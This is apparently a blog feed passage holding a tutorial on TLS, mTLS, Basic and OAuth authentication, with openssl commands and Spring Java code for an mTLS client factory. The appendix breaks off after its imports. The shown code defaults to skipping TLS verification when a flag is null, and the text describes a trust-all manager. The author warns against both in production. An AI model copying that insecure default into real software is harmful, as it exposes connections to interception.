<p>Next step for me is to recompile this same program with <code class="language-plaintext highlighter-rouge">-O2</code> and <code class="language-plaintext highlighter-rouge">strip</code> the symbols, then see how much harder the decompiler output gets to read — because real targets never come with a <code class="language-plaintext highlighter-rouge">main</code> label waiting in the Symbol Tree.</p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[I write backend code for a living, so I’m used to looking at programs from the inside — source first, binary as an afterthought. Reverse engineering flips that. You start with the compiled artifact and work backwards to figure out what it does, with no source in hand.]]></summary></entry><entry><title type="html">TLS vs mTLS vs Basic — and why curl is one line but Java is 150</title><link href="https://dilipgona.is-a.dev/tls-mtls-curl-vs-java.html" rel="alternate" type="text/html" title="TLS vs mTLS vs Basic — and why curl is one line but Java is 150" /><published>2026-05-22T00:00:00+00:00</published><updated>2026-05-22T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/tls-mtls-curl-vs-java</id><content type="html" xml:base="https://dilipgona.is-a.dev/tls-mtls-curl-vs-java.html"><![CDATA[<h2 id="1-tls-vs-mtls-vs-basic--what-each-one-actually-does">1. TLS vs mTLS vs Basic — what each one actually does</h2>

<p><strong>TLS (the “S” in HTTPS)</strong>
The client opens a secure channel to the server. The server proves who it is by presenting a certificate signed by a trusted Certificate Authority (CA). The client checks it, both sides agree on an encryption key, and from then on the bytes are encrypted. Only the server’s identity is verified — the server has no idea who you are yet.</p>

<p><strong>mTLS (mutual TLS)</strong>
Same handshake, but with one extra step: the client also presents a certificate, and the server verifies it before the handshake completes. If the client cert is missing, expired, or signed by a CA the server doesn’t trust, the connection is refused at the TLS layer — your HTTP request never even gets sent. This is how government / banking ERPs (KACARE etc.) gate access at the network level: no cert, no entry.</p>

<p><strong>Basic Auth</strong>
Once the TLS channel is open, the server still doesn’t know which user is calling. Basic Auth solves that at the HTTP layer: you send <code class="language-plaintext highlighter-rouge">Authorization: Basic base64(username:password)</code> in the header. Server decodes, checks credentials, returns 200 or 401. Basic Auth is only safe because TLS encrypts it — over plain HTTP, the password is effectively in clear text.</p>

<p><strong>OAuth 2 Bearer (client credentials)</strong>
Same idea as Basic Auth but indirect. Instead of sending the password on every request, you POST your <code class="language-plaintext highlighter-rouge">clientId</code> + <code class="language-plaintext highlighter-rouge">clientSecret</code> to a token endpoint, get back a short-lived <code class="language-plaintext highlighter-rouge">access_token</code>, and send it as <code class="language-plaintext highlighter-rouge">Authorization: Bearer &lt;token&gt;</code> on subsequent calls. The benefit: tokens expire (so leaks have a shelf life), and they can carry scopes/roles.</p>

<p><strong>Key point: these are not alternatives. They stack:</strong></p>

<ul>
  <li>TLS + Basic = HTTPS with username/password</li>
  <li>mTLS + Basic = client cert AND username/password</li>
  <li>mTLS + OAuth Bearer = client cert AND access token</li>
  <li>mTLS alone = the cert itself IS your identity, no header auth needed</li>
</ul>

<p>mTLS authenticates the <strong>machine/process</strong>. Basic / OAuth authenticates the <strong>user / service</strong>. Different layers, different jobs. The integration we’ll see later supports all four combinations behind one endpoint.</p>

<hr />

<h2 id="2-the-mtls-handshake-step-by-step">2. The mTLS handshake, step by step</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Client                                       Server
  |                                            |
  |--- ClientHello (supported ciphers) -------&gt;|
  |                                            |
  |&lt;-- ServerHello + Server Certificate -------|
  |&lt;-- CertificateRequest ---------------------|   &lt;-- mTLS-specific
  |&lt;-- ServerHelloDone ------------------------|
  |                                            |
  |--- Client Certificate --------------------&gt;|   &lt;-- mTLS-specific
  |--- ClientKeyExchange ---------------------&gt;|
  |--- CertificateVerify ---------------------&gt;|   &lt;-- proves client owns the cert
  |--- Finished ------------------------------&gt;|
  |                                            |
  |&lt;-- Finished -------------------------------|
  |                                            |
  |======= encrypted application data ========&gt;|
</code></pre></div></div>

<p>The two lines marked <strong>mTLS-specific</strong> are what turns a plain TLS handshake into mTLS:</p>

<ol>
  <li>
    <p><strong>CertificateRequest</strong> — the server says “I require a certificate to continue.” This is configured on the server side (<code class="language-plaintext highlighter-rouge">ssl_verify_client on;</code> in nginx, an option on the load balancer, a setting in the API gateway). The client either presents one or the handshake aborts.</p>
  </li>
  <li>
    <p><strong>CertificateVerify</strong> — the client signs a transcript of the handshake so far with its private key. The server verifies that signature against the public key inside the client cert. This proves the client actually <em>owns</em> the private key matching the cert it presented — not just that it grabbed someone else’s <code class="language-plaintext highlighter-rouge">.crt</code> file off a shared server.</p>
  </li>
</ol>

<p>If either step fails, the TCP connection is torn down at the network layer. Your HTTP request never goes out, and there’s no HTTP response code — the socket just dies. That’s why mTLS errors look so different from 401/403 errors.</p>

<hr />

<h2 id="3-where-the-client-cert-actually-comes-from">3. Where the client cert actually comes from</h2>

<p>mTLS is useless without a chain of trust. Concretely, when integrating with an ERP that requires mTLS:</p>

<ol>
  <li><strong>The server admin tells you which CA they trust.</strong> Sometimes a public CA, more often a <em>private</em> CA they run themselves (KACARE for Saudi government, internal CAs for B2B integrations, the bank’s CA for payment APIs).</li>
  <li><strong>You request a client certificate from that CA.</strong> Generate a key pair locally with <code class="language-plaintext highlighter-rouge">openssl</code>, send the CA a CSR (Certificate Signing Request), they sign it with their CA key, and hand you back a <code class="language-plaintext highlighter-rouge">client.crt</code>.</li>
  <li><strong>You keep <code class="language-plaintext highlighter-rouge">client.key</code> secret</strong> — this is the file whose loss equals identity theft — and present <code class="language-plaintext highlighter-rouge">client.crt</code> on every connection.</li>
  <li><strong>The server verifies the cert was signed by their CA</strong>, checks expiry, optionally checks revocation (CRL or OCSP), and lets the handshake proceed.</li>
</ol>

<p>For a typical government / bank integration, steps 1–3 are a paperwork exercise that takes one to two weeks. You’ll usually get a <code class="language-plaintext highlighter-rouge">.zip</code> containing <code class="language-plaintext highlighter-rouge">client.crt</code>, <code class="language-plaintext highlighter-rouge">client.key</code>, and <code class="language-plaintext highlighter-rouge">ca-chain.crt</code> (the CA bundle, in case your machine doesn’t already trust their root CA).</p>

<hr />

<h2 id="4-the-certificate-file-format-zoo">4. The certificate file format zoo</h2>

<p>PEM, DER, PKCS, JKS, P12 — these are all different ways of packaging the same underlying X.509 data:</p>

<table>
  <thead>
    <tr>
      <th>Extension</th>
      <th>Format</th>
      <th>Contents</th>
      <th>Encoding</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.crt</code>, <code class="language-plaintext highlighter-rouge">.cer</code>, <code class="language-plaintext highlighter-rouge">.pem</code></td>
      <td>X.509 cert</td>
      <td>Public cert only</td>
      <td>Text — Base64 inside <code class="language-plaintext highlighter-rouge">-----BEGIN CERTIFICATE-----</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.key</code>, <code class="language-plaintext highlighter-rouge">.pem</code></td>
      <td>PKCS#1 or PKCS#8</td>
      <td>Private key only</td>
      <td>Text — Base64 inside <code class="language-plaintext highlighter-rouge">-----BEGIN ... PRIVATE KEY-----</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.der</code></td>
      <td>DER</td>
      <td>Cert or key</td>
      <td>Binary — the raw bytes that PEM Base64-encodes</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.p12</code>, <code class="language-plaintext highlighter-rouge">.pfx</code></td>
      <td>PKCS#12</td>
      <td>Cert + key + chain in one file</td>
      <td>Binary, password-protected</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.jks</code></td>
      <td>Java KeyStore</td>
      <td>Same idea as P12 but Java-only</td>
      <td>Binary, password-protected</td>
    </tr>
  </tbody>
</table>

<p><strong>Rule of thumb:</strong></p>

<ul>
  <li>PEM = what cURL / OpenSSL / nginx / Apache eat natively.</li>
  <li>PKCS#12 / JKS = what Java / Windows / macOS Keychain eat natively.</li>
  <li>Converting between them is a one-line <code class="language-plaintext highlighter-rouge">openssl</code> or <code class="language-plaintext highlighter-rouge">keytool</code> command.</li>
</ul>

<p>Knowing which format your vendor handed you is the difference between a 5-minute config job and a 5-hour debugging session.</p>

<hr />

<h2 id="5-why-curl---cert-clientcrt---key-clientkey-url-is-one-line">5. Why <code class="language-plaintext highlighter-rouge">curl --cert client.crt --key client.key URL</code> is one line</h2>

<p>cURL is built on top of OpenSSL. OpenSSL was designed to read PEM files (<code class="language-plaintext highlighter-rouge">-----BEGIN CERTIFICATE-----</code>, <code class="language-plaintext highlighter-rouge">-----BEGIN PRIVATE KEY-----</code>) directly off the disk. The cURL maintainers wired up the plumbing once. You hand cURL two file paths and it does everything: parses the cert, parses the key, builds the SSL context, runs the mTLS handshake, sends your request. That’s it.</p>

<hr />

<h2 id="6-why-java--spring-needs-150-lines-for-the-same-thing">6. Why Java / Spring needs ~150 lines for the same thing</h2>

<p>Spring’s <code class="language-plaintext highlighter-rouge">RestTemplate</code> doesn’t do TLS itself — it hands the connection off to an HTTP client (Apache HttpClient in our case), which hands TLS off to the JDK’s JSSE (Java Secure Socket Extension). And JSSE is strict and old:</p>

<ol>
  <li>
    <p><strong>JSSE refuses raw PEM files.</strong> It only accepts certs and keys packaged inside a KeyStore (a binary container in PKCS12 or JKS format). So we have to read the PEM, parse it, build a KeyStore in memory, populate it.</p>
  </li>
  <li><strong>JSSE only accepts PKCS#8 private keys.</strong> PEM keys come in two flavors:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">-----BEGIN PRIVATE KEY-----</code> → PKCS#8 ✅ accepted</li>
      <li><code class="language-plaintext highlighter-rouge">-----BEGIN RSA PRIVATE KEY-----</code> → PKCS#1 ❌ rejected</li>
    </ul>

    <p>The <code class="language-plaintext highlighter-rouge">wrapPkcs1RsaAsPkcs8(...)</code> method in our factory exists purely to add a 26-byte PKCS#8 envelope around a PKCS#1 key so JSSE will accept it. OpenSSL handles both formats natively — that’s why cURL doesn’t need this.</p>
  </li>
  <li>
    <p><strong>You have to build the <code class="language-plaintext highlighter-rouge">SSLContext</code> by hand.</strong> Load cert → parse key → put both into a KeyStore → feed it to a <code class="language-plaintext highlighter-rouge">KeyManagerFactory</code> → get back a <code class="language-plaintext highlighter-rouge">KeyManager[]</code> → hand it to <code class="language-plaintext highlighter-rouge">SSLContext.init(...)</code>. Five objects, each with their own ceremony.</p>
  </li>
  <li><strong>You have to wire the <code class="language-plaintext highlighter-rouge">SSLContext</code> into the HTTP client.</strong> For Apache HttpClient 5:
    <ul>
      <li>Build an <code class="language-plaintext highlighter-rouge">SSLConnectionSocketFactory</code> from the <code class="language-plaintext highlighter-rouge">SSLContext</code></li>
      <li>Wrap it in a <code class="language-plaintext highlighter-rouge">PoolingHttpClientConnectionManager</code></li>
      <li>Build a <code class="language-plaintext highlighter-rouge">CloseableHttpClient</code></li>
      <li>Wrap that as a <code class="language-plaintext highlighter-rouge">HttpComponentsClientHttpRequestFactory</code></li>
      <li>Pass that to <code class="language-plaintext highlighter-rouge">new RestTemplate(...)</code></li>
    </ul>

    <p>Five layers of object construction to do what cURL does with two flags.</p>
  </li>
  <li><strong>Optionally disable cert validation</strong> (when the server uses a self-signed cert your JDK doesn’t know about). cURL has <code class="language-plaintext highlighter-rouge">-k</code>. In Java you replace the default <code class="language-plaintext highlighter-rouge">TrustManager</code> with a custom <code class="language-plaintext highlighter-rouge">X509TrustManager</code> whose methods do nothing — that’s the <code class="language-plaintext highlighter-rouge">TrustAllManager</code> class at the bottom of our factory.</li>
</ol>

<p>So every line of <code class="language-plaintext highlighter-rouge">MtlsRestTemplateFactory</code> maps to one of these JSSE requirements. It’s not over-engineered — JSSE is just the way it is.</p>

<hr />

<h2 id="7-the-shortcut-we-could-have-taken-and-why-we-didnt">7. The shortcut we could have taken (and why we didn’t)</h2>

<p>If you run this once outside the app:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl pkcs12 <span class="nt">-export</span> <span class="nt">-in</span> client.crt <span class="nt">-inkey</span> client.key <span class="nt">-out</span> client.p12
</code></pre></div></div>

<p>…you get a <code class="language-plaintext highlighter-rouge">client.p12</code> file Java loads in ~5 lines. We’d skip the PEM parsing, the PKCS#1 → PKCS#8 wrapping, all of it.</p>

<p>We didn’t do that because it makes deployment depend on someone remembering to run <code class="language-plaintext highlighter-rouge">openssl</code> and copy the <code class="language-plaintext highlighter-rouge">.p12</code> to the right path. By parsing PEM directly in code, the ops side just drops <code class="language-plaintext highlighter-rouge">client.crt</code> and <code class="language-plaintext highlighter-rouge">client.key</code> on the server, sets two paths in properties, and the app handles the rest.</p>

<p>That’s the trade: more Java code, simpler operations.</p>

<hr />

<h2 id="8-debugging-cheat-sheet-memorize-this-layer-by-layer">8. Debugging cheat sheet (memorize this layer-by-layer)</h2>

<table>
  <thead>
    <tr>
      <th>Error</th>
      <th>Layer</th>
      <th>What it means</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">401 Unauthorized</code></td>
      <td>HTTP / app</td>
      <td>TLS handshake succeeded. Server got your request and rejected it. Bad password, wrong scope, or expired token.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">403 Forbidden</code></td>
      <td>HTTP / app</td>
      <td>Auth worked, role/permission didn’t.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SSLHandshakeException: PKIX path building failed</code></td>
      <td>TLS</td>
      <td>The server’s cert is signed by a CA your JDK doesn’t trust. Either install the CA or set <code class="language-plaintext highlighter-rouge">insecureSkipTlsVerify=true</code>.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SSLHandshakeException: bad_certificate</code> / <code class="language-plaintext highlighter-rouge">Empty client certificate chain</code></td>
      <td>mTLS</td>
      <td>Server rejected your client cert. Wrong cert, expired, or signed by a CA the server doesn’t trust.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Connection reset</code> / closed during handshake</td>
      <td>mTLS</td>
      <td>Server expected a client cert and you didn’t send one.</td>
    </tr>
  </tbody>
</table>

<p><strong>Rule:</strong> if you see 401/403, the network is fine — argue with the server admin. If you see <code class="language-plaintext highlighter-rouge">SSLHandshakeException</code>, you haven’t even reached the application yet — fix the certs.</p>

<h3 id="before-you-blame-java--prove-the-certs-work-with-openssl-s_client">Before you blame Java — prove the certs work with <code class="language-plaintext highlighter-rouge">openssl s_client</code></h3>

<p>Before debugging Java, prove the certs work outside any Java code:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl s_client <span class="se">\</span>
  <span class="nt">-connect</span> erp.example.gov.sa:443 <span class="se">\</span>
  <span class="nt">-cert</span> client.crt <span class="se">\</span>
  <span class="nt">-key</span> client.key <span class="se">\</span>
  <span class="nt">-showcerts</span>
</code></pre></div></div>

<p>What to look for in the output:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Verify return code: 0 (ok)</code> → handshake succeeded with mTLS. Your certs are good. The bug is in Java config.</li>
  <li><code class="language-plaintext highlighter-rouge">alert handshake failure</code> → server rejected your cert. Wrong cert, wrong CA, or expired.</li>
  <li><code class="language-plaintext highlighter-rouge">Verify return code: 21 (unable to verify the first certificate)</code> → server cert isn’t trusted by your machine. Add <code class="language-plaintext highlighter-rouge">-CAfile server-ca.crt</code>, or <code class="language-plaintext highlighter-rouge">-noverify</code> for a quick check.</li>
  <li><code class="language-plaintext highlighter-rouge">no peer certificate available</code> → server didn’t ask for a client cert. The endpoint isn’t actually mTLS-protected, or you hit the wrong port.</li>
</ul>

<p>This 4-line command replaces 20 minutes of squinting at Java stack traces. Run it first, every time.</p>

<hr />

<h2 id="9-using-the-factory-in-a-real-spring-service">9. Using the factory in a real Spring service</h2>

<p>The factory in isolation just produces a <code class="language-plaintext highlighter-rouge">RestTemplate</code>. The interesting part is how it slots into a service that has to handle <em>all</em> the auth combinations — no auth, Basic, OAuth client-credentials — with mTLS optional on top.</p>

<p>In our integration, each request to the endpoint carries its <em>own</em> cert paths, credentials, and target URL (the same Spring app serves many tenants, each with their own ERP). So we build the <code class="language-plaintext highlighter-rouge">RestTemplate</code> <strong>per request</strong>, not as a <code class="language-plaintext highlighter-rouge">@Bean</code>. The controller is intentionally thin:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@PostMapping</span><span class="o">(</span><span class="s">"/fetch-employee-data"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o">&lt;</span><span class="nc">Object</span><span class="o">&gt;</span> <span class="nf">fetchEmployeeData</span><span class="o">(</span><span class="nd">@RequestBody</span> <span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
    <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"FETCHING ERP EMPLOYEE DATA -- orgId={}, authType={}, useMtls={}"</span><span class="o">,</span>
            <span class="n">request</span><span class="o">.</span><span class="na">getOrgId</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getAuthType</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">isUseMtls</span><span class="o">());</span>
    <span class="nc">Object</span> <span class="n">data</span> <span class="o">=</span> <span class="n">erpEmployeeReaderServiceV2</span><span class="o">.</span><span class="na">fetchEmployeeData</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
    <span class="k">return</span> <span class="nc">AppResponse</span><span class="o">.</span><span class="na">success</span><span class="o">(</span><span class="s">"Employee data fetched successfully"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">OK</span><span class="o">,</span> <span class="n">data</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The service picks the transport based on <code class="language-plaintext highlighter-rouge">useMtls</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="nc">RestTemplate</span> <span class="nf">buildRestTemplate</span><span class="o">(</span><span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">isUseMtls</span><span class="o">())</span> <span class="o">{</span>
        <span class="kt">boolean</span> <span class="n">skipVerify</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getInsecureSkipTlsVerify</span><span class="o">()</span> <span class="o">==</span> <span class="kc">null</span>
                          <span class="o">||</span> <span class="n">request</span><span class="o">.</span><span class="na">getInsecureSkipTlsVerify</span><span class="o">();</span>
        <span class="k">return</span> <span class="n">mtlsRestTemplateFactory</span><span class="o">.</span><span class="na">build</span><span class="o">(</span>
                <span class="n">request</span><span class="o">.</span><span class="na">getCertPath</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getKeyPath</span><span class="o">(),</span> <span class="n">skipVerify</span><span class="o">,</span>
                <span class="no">CONNECT_TIMEOUT_MS</span><span class="o">,</span> <span class="no">READ_TIMEOUT_MS</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="nc">SimpleClientHttpRequestFactory</span> <span class="n">factory</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SimpleClientHttpRequestFactory</span><span class="o">();</span>
    <span class="n">factory</span><span class="o">.</span><span class="na">setConnectTimeout</span><span class="o">(</span><span class="no">CONNECT_TIMEOUT_MS</span><span class="o">);</span>
    <span class="n">factory</span><span class="o">.</span><span class="na">setReadTimeout</span><span class="o">(</span><span class="no">READ_TIMEOUT_MS</span><span class="o">);</span>
    <span class="k">return</span> <span class="k">new</span> <span class="nf">RestTemplate</span><span class="o">(</span><span class="n">factory</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Then the HTTP-layer auth is layered on top — and notice this is <strong>completely independent of whether mTLS is on</strong>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">switch</span> <span class="o">(</span><span class="n">authType</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">case</span> <span class="nl">BASIC:</span>
        <span class="n">headers</span><span class="o">.</span><span class="na">setBasicAuth</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getUsername</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getPassword</span><span class="o">());</span>
        <span class="k">break</span><span class="o">;</span>
    <span class="k">case</span> <span class="nl">OAUTH_CLIENT_CREDENTIALS:</span>
        <span class="n">headers</span><span class="o">.</span><span class="na">setBearerAuth</span><span class="o">(</span><span class="n">accessToken</span><span class="o">);</span>
        <span class="k">break</span><span class="o">;</span>
    <span class="k">case</span> <span class="nl">NONE:</span>
    <span class="k">default</span><span class="o">:</span>
        <span class="k">break</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The same <code class="language-plaintext highlighter-rouge">RestTemplate</code> carries the Basic header / Bearer token over whatever transport (mTLS or plain TLS) the factory built. That’s exactly the “auth stacks” idea from section 1 — the cert authenticates the machine, the header authenticates the user.</p>

<p>The OAuth flow itself is the standard <code class="language-plaintext highlighter-rouge">client_credentials</code> grant, with a small wrinkle: some legacy servers want the grant as a <code class="language-plaintext highlighter-rouge">POST</code> form body, others want it as a <code class="language-plaintext highlighter-rouge">GET</code> query string. The service handles both:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">HttpHeaders</span> <span class="n">headers</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HttpHeaders</span><span class="o">();</span>
<span class="n">headers</span><span class="o">.</span><span class="na">setBasicAuth</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getClientId</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getClientSecret</span><span class="o">());</span>
<span class="n">headers</span><span class="o">.</span><span class="na">setAccept</span><span class="o">(</span><span class="nc">List</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">APPLICATION_JSON</span><span class="o">));</span>

<span class="k">if</span> <span class="o">(</span><span class="n">method</span> <span class="o">==</span> <span class="nc">HttpMethod</span><span class="o">.</span><span class="na">GET</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">separator</span> <span class="o">=</span> <span class="n">url</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"?"</span><span class="o">)</span> <span class="o">?</span> <span class="s">"&amp;"</span> <span class="o">:</span> <span class="s">"?"</span><span class="o">;</span>
    <span class="n">url</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">separator</span> <span class="o">+</span> <span class="s">"grant_type=client_credentials"</span><span class="o">;</span>
    <span class="n">entity</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HttpEntity</span><span class="o">&lt;&gt;(</span><span class="n">headers</span><span class="o">);</span>
<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
    <span class="n">headers</span><span class="o">.</span><span class="na">setContentType</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">APPLICATION_FORM_URLENCODED</span><span class="o">);</span>
    <span class="nc">MultiValueMap</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">body</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">LinkedMultiValueMap</span><span class="o">&lt;&gt;();</span>
    <span class="n">body</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"grant_type"</span><span class="o">,</span> <span class="s">"client_credentials"</span><span class="o">);</span>
    <span class="n">entity</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HttpEntity</span><span class="o">&lt;&gt;(</span><span class="n">body</span><span class="o">,</span> <span class="n">headers</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The end result: one endpoint, one factory, four working auth combinations (<code class="language-plaintext highlighter-rouge">{none, Basic, OAuth} x {mTLS on/off}</code>). The full service is in Appendix B at the bottom.</p>

<hr />

<h2 id="10-production-checklist">10. Production checklist</h2>

<p>mTLS rarely fails in dev. It fails 11 months into prod when something silently expires. Things to wire up before going live:</p>

<ol>
  <li><strong>Cert expiry monitoring.</strong> Pipe <code class="language-plaintext highlighter-rouge">openssl x509 -in client.crt -enddate -noout</code> into Prometheus / your monitoring tool. Page someone 30 days before expiry.</li>
  <li><strong>Rotation procedure documented.</strong> Where does the new cert come from? Who’s the CA contact? How is the secret rotated without downtime? Write it down <em>before</em> you need it.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">insecureSkipTlsVerify: false</code> in prod.</strong> Use Spring profiles so the dev value can’t leak. Our service defaults <code class="language-plaintext highlighter-rouge">skipVerify</code> to true when the flag is null — convenient for onboarding new tenants, but every prod tenant’s config must set this explicitly to <code class="language-plaintext highlighter-rouge">false</code>.</li>
  <li><strong>Secrets management.</strong> <code class="language-plaintext highlighter-rouge">client.key</code> is a credential. Treat it like a database password — Vault, AWS Secrets Manager, sealed Kubernetes secrets. Never bake it into the Docker image, never commit it to git.</li>
  <li>
    <p><strong>Server cert chain trust.</strong> If the ERP’s server cert is signed by a private CA, that CA’s root needs to be in the JVM truststore (<code class="language-plaintext highlighter-rouge">$JAVA_HOME/lib/security/cacerts</code>) or imported via:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>keytool <span class="nt">-import</span> <span class="nt">-trustcacerts</span> <span class="nt">-alias</span> erpca <span class="se">\</span>
  <span class="nt">-file</span> erp-root-ca.crt <span class="se">\</span>
  <span class="nt">-keystore</span> <span class="nv">$JAVA_HOME</span>/lib/security/cacerts
</code></pre></div>    </div>

    <p>Otherwise you’re stuck with <code class="language-plaintext highlighter-rouge">insecureSkipTlsVerify=true</code>, which is fine for staging and a disaster in prod.</p>
  </li>
</ol>

<hr />

<h2 id="11-memorable-summary">11. Memorable summary</h2>

<blockquote>
  <p>TLS wraps the wire. mTLS also checks who you are at the door. Basic / OAuth Bearer is the username/password (or token) on the inside.</p>

  <p>cURL is short because OpenSSL eats PEM. Java is long because JSSE only eats keystores, and our factory’s job is to translate PEM → keystore at runtime.</p>
</blockquote>

<hr />

<h2 id="12-what-to-learn-next-related-topics">12. What to learn next (related topics)</h2>

<p>mTLS is one piece of a much larger picture. Roughly in order of how often you’ll bump into them as a backend dev:</p>

<ol>
  <li><strong>OAuth 2 grants beyond client-credentials</strong> — <code class="language-plaintext highlighter-rouge">authorization_code</code> (web apps with user login), <code class="language-plaintext highlighter-rouge">refresh_token</code>, PKCE for mobile/SPA. Once you have client-credentials working, the others are 80% the same wiring.</li>
  <li><strong>OIDC (OpenID Connect)</strong> — the layer on top of OAuth that adds a standard <code class="language-plaintext highlighter-rouge">id_token</code> (a JWT) describing <em>who</em> the user is. This is what powers “Sign in with Google”.</li>
  <li><strong>JWT internals</strong> — header, payload, signature; how to validate one without calling the issuer; key rotation via JWKS. If you’ve done OAuth client-credentials, you’ve already received a JWT — opening it up is the next step.</li>
  <li><strong>TLS internals</strong> — cipher suites, perfect forward secrecy, TLS 1.2 vs 1.3 handshakes (1.3 combines steps and is faster). Reading the TLS 1.3 RFC once is worth a day of your career.</li>
  <li><strong>PKI in depth</strong> — root CAs, intermediate CAs, certificate chains, CRL vs OCSP for revocation, certificate pinning. Why pinning can save you from a rogue CA but also brick your app overnight.</li>
  <li><strong>HMAC and signed requests</strong> — how AWS SigV4 and many bank APIs work. No certs, no tokens — you sign each request with a shared secret. Different threat model from mTLS, similar problem solved.</li>
  <li><strong>mTLS at the service-mesh layer</strong> — Istio, Linkerd, Consul Connect. In Kubernetes, mTLS <em>between</em> microservices is usually done by a sidecar proxy, not by your code. Your application stays plain HTTP and the mesh wraps the wire.</li>
  <li><strong>ACME / Let’s Encrypt automation</strong> — how public TLS certs are issued and renewed without humans. The same primitives can run a private mTLS CA (<code class="language-plaintext highlighter-rouge">step-ca</code>, <code class="language-plaintext highlighter-rouge">smallstep</code>).</li>
  <li><strong>SSH key auth</strong> — same asymmetric-crypto idea (public/private key pair), different protocol. Understanding SSH makes mTLS click instantly.</li>
  <li><strong>HSMs and YubiKeys</strong> — for high-assurance setups, the client private key never leaves a hardware chip. Signing happens inside the device, so even root on the host can’t exfiltrate the key.</li>
</ol>

<p>Each of these deserves its own post — but coming back to this one, you should now have a working mental model for the whole left half of that list.</p>

<hr />

<h2 id="appendix-a--mtlsresttemplatefactory-in-full">Appendix A — <code class="language-plaintext highlighter-rouge">MtlsRestTemplateFactory</code> in full</h2>

<details>
<summary>Click to view the complete factory (Java, no BouncyCastle)</summary>


<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">package</span> <span class="nn">com.spring.project.UTILS</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">lombok.extern.slf4j.Slf4j</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.config.ConnectionConfig</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.config.RequestConfig</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.impl.classic.CloseableHttpClient</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.impl.classic.HttpClients</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManagerBuilder</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.ssl.NoopHostnameVerifier</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.ssl.SSLConnectionSocketFactory</span><span class="o">;</span>
